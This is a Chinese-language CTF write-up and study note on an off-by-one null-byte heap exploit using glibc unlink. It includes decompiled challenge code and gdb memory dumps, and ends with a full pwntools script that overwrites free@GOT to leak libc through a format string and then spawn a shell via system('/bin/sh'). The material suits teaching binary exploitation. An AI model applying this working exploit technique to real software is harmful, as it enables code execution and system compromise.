Unlink學習筆記(off-by-one null byte漏洞利用)
看了很多malloc unlink 的案例,仍然是雲裡霧裡, 找了一個案例,反覆調了幾十遍才弄明白其中原理。
off-by-one 漏洞 以及漏洞利用原理
off-by-one漏洞就是malloc 本來分配了0xf8的記憶體,結果可以寫0xf9位元組的資料,多寫了一個,影響了下一個記憶體塊的頭部資訊,
進而造成了被利用的可能。
unlink是雙連結串列中刪除一個節點的操作。
當前是p
前一個 BK = p->bk (back的縮寫)
後一個 FD = p->fd (forward的縮寫)
BK->fd = FD
FD->bk = BK
設定使得前一個的後一個等於當前節點的後一個,後一個的前一個等於當前節點的前一個。這樣就完成了連結串列刪除。
記憶體塊chunk 的結構
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|如果前一個塊是釋放狀態,則這裡儲存前一個塊的大小 prev_size,否則為使用者資料 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 當前塊的大小 size最後一個位元組為前一個塊是否是釋放狀態Prev_in_use |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 使用者資料 .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 如果前一個塊是釋放狀態,則這裡儲存前一個塊的大小 prev_size,否則為使用者資料 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 當前塊的大小 最後一個位元組為前一個塊是否是釋放狀態Prev_in_use |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
可以看到有一個奇怪的地方prev_size ,
如果前一個塊是釋放狀態,則儲存前一個塊的大小,如果前一個塊正在使用,則儲存前一個塊的資料。
前一個塊是否被使用在size域的最後一位, 如果我們先在prev_size寫上資料, 再修改size最後一位,就可以造出一個假的塊。
我們釋放下一個塊,因為我們構造了一個free的假塊,這兩個塊就會做合併。這就出發了額unlink。
unlink就可以改寫某個地方的資料/
題目
一個簡單的選單題 棧溢位無法利用,在set中存在溢位0的情況,就是說多寫了一個0 (off-by-one null byte),堆溢位一個0。
1 為分配記憶體 2為設定 3為刪除 4不管用(故意不然洩露)。 5 退出。
直接執行程式輸出:
Welcome to Alibaba Living Area, here you can
1. Init the message
2. Set the message
3. Delete the message
4. Show the message
5. Exit
IDA反編譯程式碼如下:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
alarm(0x1Eu);
sub_40094E(30LL, 0LL);
while ( 1 )
{
switch ( (unsigned int)sub_400963() )
{
case 1u:
yang_init();
break;
case 2u:
yang_set();
break;
case 3u:
yang_del();
break;
case 4u:
yang_show();
break;
case 5u:
yang_exit();
return;
default:
puts("Invalid input\n");
break;
}
}
}
signed __int64 yang_init()
{
signed __int64 result; // rax
int i; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]
char *buf; // [rsp+8h] [rbp-8h]
if ( g_sz >= 0 && g_sz <= 15 )
{
printf("Input the message length:", 0LL);
size = read_int();
if ( size >= 0 && size <= 256 )
{
buf = (char *)malloc(size);
while ( *(_QWORD *)&g_tb[2 * i + 1] > 0LL )
++i;
g_tb[2 * i] = (struct Record)buf;
g_tb[2 * i + 1] = (struct Record)size;
++g_sz;
puts("Done~!");
result = 0LL;
}
else
{
puts("Not allow~!");
result = 1LL;
}
}
else
{
puts("Not allow~!");
result = 1LL;
}
return result;
}
signed __int64 yang_del()
{
signed __int64 result; // rax
int size; // [rsp+Ch] [rbp-4h]
printf("Input the message index:");
size = read_int();
if ( size >= 0 && size <= 16 )
{
if ( *(_QWORD *)&g_tb[2 * size + 1] <= 0LL )
{
puts("Not allow~!");
result = 1LL;
}
else
{
g_tb[2 * size + 1] = 0LL;
free(*(void **)&g_tb[2 * size]);
--g_sz;
puts("Done~!");
result = 0LL;
}
}
else
{
puts("Not allow~!");
result = 1LL;
}
return result;
}
int yang_show()
{
return puts("Not allow~!");
}
signed __int64 yang_set()
{
signed __int64 result; // rax
int sz; // [rsp+Ch] [rbp-4h]
printf("Input the message index:");
sz = read_int();
if ( sz >= 0 && sz <= 16 )
{
if ( *(_QWORD *)&g_tb[2 * sz + 1] <= 0LL )
{
puts("Not allow~!");
result = 1LL;
}
else
{
printf("Input the message content:");
read_buf(*(char **)&g_tb[2 * sz], *(_QWORD *)&g_tb[2 * sz + 1]); //這個函式裡溢位了一個0
puts("Done~!");
result = 0LL;
}
}
else
{
puts("Not allow~!");
result = 1LL;
}
return result;
}
signed int __fastcall read_buf(char *in, unsigned int size)
{
char buf; // [rsp+17h] [rbp-9h]
unsigned int i; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]
v5 = 0;
for ( i = 0; i <= size; ++i ) // 存在off-by-one漏洞
{
if ( read(0, &buf, 1uLL) < 0 )
return -1u;
if ( buf == '\n' )
{
in[i] = 0;
return i;
}
in[i] = buf;
}
in[i - 1] = 0;
return i - 1;
}
分析
分析可知, 有一個全域性變數(儲存在bss段), 裡面記錄著每一段的地址和大小
struct Record{
char* p;
int sz;
} g_records[20]; 因為是64為,所以他們指標和int都是8位元組,一個Record段正好是16位元組(0x10) ,存在 0x6020c0的位置(下面有記憶體截圖)
這裡面有指標,我們可以用unlink修改其中的指標,進而修改其他的指標為got表的地址,這樣就可以修改got表的free項為printf或者system。
使用printf,呼叫刪除函式,實際上就呼叫了printf(而不是原本的free)。
free(buf) —> printf(buf)
這樣就可以進行記憶體地址洩露,進而算出system的值,再將free_got改為system地址,執行刪除函式
free(‘/bin/sh’) 就變成了 system(‘/bin/sh’)
這個思路有點精煉,看不懂看下面具體步驟。
先構造幾個串備用
def new_msg(len):
p.recvuntil("Choice:")
p.sendline("1")
p.recvuntil("length:")
p.sendline(str(len))
print 'create new msg ' , len
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk
看一個gdb
heap
0x6d1000 PREV_INUSE { //第0個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1100 PREV_INUSE { //第1個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1200 PREV_INUSE { //第2個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1300 PREV_INUSE { //第3個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1400 PREV_INUSE {//第4個塊
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
注意這個串的大小是有講究的。需要是16的倍數+8, 這是和malloc對齊機制有關。
如果是 16的倍數,那麼就會再增加16位元組的頭部儲存prev_size和size。
如果是16x+8的形式,就會只增加8個位元組的size部分,prev_size用上一個記憶體塊的最後8位來表示。(size中存的是 使用者分配的大小+0x8)
而上一個塊我們是可以控制的,這代表這我們可以任意的改這個prev_size。
當然這個prev_size只有在當前快的prev_in_use(存在size最低位)為1的時候才能生效,所以需要一個溢位一個位元組null。
溢位後下一個塊的size的最低位元組變成了0。這就要求我們的大小不能太小。
如果是 0xa8 的大小, 那麼size中值為0xb0 ,null溢位後 這個值變成了0x00 。沒大小了!!這就不對了。
目前我們設計的大小為f8 , f8+8 = 100 , 帶著prev_in_use 為1, 實際在size中儲存的是0x101。
溢位後低位元組被清零,得到了0x100,這表示前一個塊是空的。
那麼前一個塊在什麼地方呢? 噔噔噔噔 !! 就在prev_size中,而這個塊
構造假塊
Unlink 在自己可控區域內構造一個假的塊。
chunk_ptr = 0x6020c0 + 3*0x10 # 這個地址就是全域性變數g_records[3].p 在unlink 的安全檢查下,只能改這個地方的值。
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100
set_msg(3, payload)
看修改後的記憶體。
0x1b10300: 0x0000000000000000 0x0000000000000101 塊3 的開始
0x1b10310: 0x0000000000000110 0x00000000000001f1 這個快是我們控制的記憶體 (我們構造的假塊的開始)
0x1b10320: 0x00007fefce073b78 0x00007fefce073b78
0x1b10330: 0x6161616161616161 0x6161616161616161
0x1b10340: 0x6161616161616161 0x6161616161616161
0x1b10350: 0x6161616161616161 0x6161616161616161
0x1b10360: 0x6161616161616161 0x6161616161616161
0x1b10370: 0x6161616161616161 0x6161616161616161
0x1b10380: 0x6161616161616161 0x6161616161616161
0x1b10390: 0x6161616161616161 0x6161616161616161
0x1b103a0: 0x6161616161616161 0x6161616161616161
0x1b103b0: 0x6161616161616161 0x6161616161616161
0x1b103c0: 0x6161616161616161 0x6161616161616161
0x1b103d0: 0x6161616161616161 0x6161616161616161
0x1b103e0: 0x6161616161616161 0x6161616161616161
0x1b103f0: 0x6161616161616161 0x6161616161616161
0x1b10400: 0x00000000000000 f0 0x00000000000001 00 這是塊4的size欄位。(塊2) 這個位元組溢位被改了!!本來使是01
f0是我們造的prev_size
0x1b10400 地址仍然屬於上一個塊的可控範圍,現在將其設定為f0
而這個地址是下一個塊的prev_size , (如果prev-in-use是0的話)
而原本 0x1b10408 位置為 101 ,表示上一個塊 正在被使用,現在
01 這個位元組被 00 替換。 讓其以為上一個塊是free的。
下面我們會free 塊4 ,塊4 就會根據 prev_size (f0)這個值去尋找頭部。這個頭部正好是我們構造的0x1b10310 這個位置。
然後free函式會監測 上一個塊(FD指向)的下一個塊是不是當前塊
下一個塊的上一個塊是不是當前塊,即:
FD->bk == P 和
BK->fd == P
FD->bk 怎麼理解, FD是一個指標,它指向的記憶體塊以Chunk這個結構體的方式訪問
我們造的假塊的結構如下:
Chunk { // 第3個塊
prev_size = 0x110, //本來chunk 3 的大小和chunk 2的大小都是0x100,現在我們造的假塊地址是chunk3地址加0x10,所以上一塊的內容要加0x110
size = 0xf1, //這個地方size為0xf0,最低位為1 ,表示上一個塊不是free狀態,這樣就不會出現連鎖的合併。
fd = chunk_ptr - 0x18, // chunk_ptr 是另外一個變數,這個變數中儲存著這個塊的地址。是g_table[3].p = malloc(0xf8) 中p的地址。
bk = chunk_ptr - 0x10,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
在結構體中 bk的偏移量是0x18 , 假設結構體的地址為FD ,那麼 FD->bk 的地址為 FD+0x18
下面的記憶體中儲存著 分配的記憶體地址 ,如果把結構體的頭部(FD)放在 0x6020d8,那麼FD->BK 正好是 0x6020f0
0x6020f0 值正好是0x1b10310 , 即 FD->fd 的值 == P。
0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x0000000001b10310 0x00000000000000f8
0x602100: 0x0000000001b10410 0x00000000000000f8
0x602110: 0x0000000001b10510 0x00000000000000f8
這樣就通過了檢查。隨後執行
FD->bk = BK
BK->fd = FD
因為檢查中保證了 P= FD->bk = BK->fd 所以上面的語句相當於
P = FD = 0x6020f0 - 0x18
即將0x6020f0 的地址改為了0x6020f0 - 0x18 ,見下圖
0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x00000000006020d8 0x00000000000000f8 # 標黃的地方就是chunk_ptr 已經被修改成了自己的地址-0x18
0x602100: 0x0000000001b10410 0x0000000000000000
0x602110: 0x0000000001b10510 0x00000000000000f8
洩露地址和執行system
修改了這個地址有什麼用呢? 本來有一個指標指向它的。
struct Record{
char* p;
int sz;
}
現在, p= 0x6020d8;
這樣我們對p進行修改, 就可以修改0x6020d8對應的位置,這個位置也在上面資料所示的表格中。
比如我們把它改為got_entry_free的地址,
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
setmsg(3,payload)
通過這個串,可以講記憶體設定為
0x6020c0: 0x0000000001169010 0x00000000000000f8 Record 0
0x6020d0: 0x0000000001169110 0x00000000000000f8 Record 1
0x6020e0: 0x0000000000 602018 0x00000000000000f8 這裡被成功寫入了 Record 2
0x6020f0: 0x00000000006020d8 0x00000000000000f8 Record 3
0x602100: 0x0000000001169410 0x0000000000000000 Record 4
0x602110: 0x0000000001169510 0x00000000000000f8 Record 5
got_entry_free的值被成功寫入到 了 Record 2 中, 對2的修改就會修改free_got的值,改變其本身的行為
本來該呼叫free函式的,卻呼叫了我們寫入的值。
我們現在將printf 的 地址寫入,因為不知道這個地址,所以我們寫入plt的地址。
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)
0x602018 <free@got.plt>: **0x00000000004006e0** 0x00007fa818174690 # 這裡被改寫成了
0x602028 <__stack_chk_fail@got.plt>: 0x00000000004006d6 0x00007fa81815a800
0x602038 <alarm@got.plt>: 0x00007fa8181d1200 0x00007fa8181fc250
0x602048 <__libc_start_main@got.plt>: 0x00007fa818125740 0x0000000000400726
0x602058 <malloc@got.plt>: 0x00007fa818189130 0x00007fa818174e70
這樣在執行 del 時,本該呼叫free,結果卻呼叫了printf ,這就帶來了地址洩露。比如執行
printf(“%11$lx”)就可以輸出lib_main_ret的地址,進而計算出system的地址。
同樣的設定address的地址
payload = p64(system_address)[:-1] # printf plt address
set_msg(2, payload)
隨後呼叫
del_msg(1) 這樣本應該執行 free(chunk_1_address) 的,結果執行了system(chunk_1_address)
隨意,我們預先在chunk 1 中儲存 /bin/sh ,這樣命令列就開啟了。
#!/usr/bin/env python
# coding: utf-8
from pwn import *
context.log_level = "error"
#init
context(arch = 'amd64', os = 'linux')
local=True
if local:
p = process("./fb")
else:
p = remote("121.40.56.102", 9733)
print '[*] PID:',pidof('fb')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
name = "fb"
off_onegadget = 0x4526A
offset___libc_start_main_ret = 0x20830
offset_system = 0x45390
offset_read = 0xf6670
offset_write = 0xf66d0
offset_str_bin_sh = 0x18c177
def attach():
if local:
gdb.attach(pidof(name)[0],gdbscript = "b * 0x400CB1\n")
def new_msg(len):
p.recvuntil("Choice:")
p.sendline("1")
p.recvuntil("length:")
p.sendline(str(len))
print 'create new msg ' , len
def set_msg(idx,cont):
p.recvuntil("Choice:")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("content:")
p.sendline(cont)
print 'set msg ' , idx,',cont = ',cont
def del_msg(idx):
print 'del_msg ' , idx
p.recvuntil("Choice:")
p.sendline("3")
p.recvuntil("index:")
p.sendline(str(idx))
def my_eval():
print 'Enter python model'
while True:
try:
s = raw_input("python>")
if s == 'q\n':
return
print eval(s)
except Exception as e:
print (e)
def mp(str):
print str
return 1
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk
# lack of chunks
#attach()
chunk_ptr = 0x6020c0 + 3*0x10
set_msg(0,"%lx."* 0x11) # 0
set_msg(1,"/bin/sh\x00") # 1
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100
set_msg(3, payload)
#raw_input("press to continue")
del_msg(4)
#raw_input("xxxxx")
#set_msg(3, 'a' * 0x10)
got_entry_free = 0x000000000602018
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
# 0xf8 got_entry_free 0xf8 without '\x00' overflow
set_msg(3, payload)
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)
#attach()
# printf("%lx."* 0x11)
del_msg(0)
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57
r = p.recvuntil("Done~!", drop = True)
print "recv ", r , "\n--------------------------"
r = r.split('.')[-2]
# p.interactive()
libc_start_main_ret_addr = int("0x" + r ,16)
print "libc_start_main_ret_addr: ", hex(libc_start_main_ret_addr)
# we unlink, check chunk_ptr's position
system_addr = libc_start_main_ret_addr - offset___libc_start_main_ret + offset_system
print "system_addr: ", hex(system_addr)
payload = p64(system_addr)[:-1]
set_msg(2, payload)
set_msg(1,"/bin/sh\x00")
del_msg(1)
my_eval()
p.interactive()
# we unlink, check chunk_ptr's position
相關文章
- Linux堆溢位漏洞利用之unlinkLinux
- Linux下的堆偽造漏洞利用技術(new unlink)Linux
- Python 反序列化漏洞學習筆記Python筆記
- java8學習筆記01 Optional物件替代Null判斷Java筆記物件Null
- PHP 反序列化漏洞入門學習筆記PHP筆記
- numpy的學習筆記\pandas學習筆記筆記
- Linux下的堆off-by-one的利用Linux
- IT學習筆記筆記
- 學習筆記筆記
- 【學習筆記】數學筆記
- 《JAVA學習指南》學習筆記Java筆記
- ctf pwn中的unlink exploit(堆利用)
- 深度學習筆記8:利用Tensorflow搭建神經網路深度學習筆記神經網路
- Elasticsearch學習筆記Elasticsearch筆記
- Scala學習筆記筆記
- MySql學習筆記MySql筆記
- jQuery 學習筆記jQuery筆記
- react學習筆記React筆記
- 學習筆記(4.3)筆記
- 學習筆記(4.4)筆記
- 學習筆記(3.29)筆記
- 學習筆記(4.1)筆記
- AOP學習筆記筆記
- AspectJ學習筆記筆記
- 學習筆記(3.27)筆記
- 學習筆記(4.2)筆記
- golang 學習筆記Golang筆記
- Zookeeper學習筆記筆記
- 學習筆記(3.24)筆記
- 學習筆記(3.25)筆記
- 學習筆記(3.21)筆記
- GitHub學習筆記Github筆記
- jest 學習筆記筆記
- typescript 學習筆記TypeScript筆記
- Echarts學習筆記Echarts筆記
- js學習筆記JS筆記
- shell學習筆記筆記
- Dubbo 學習筆記筆記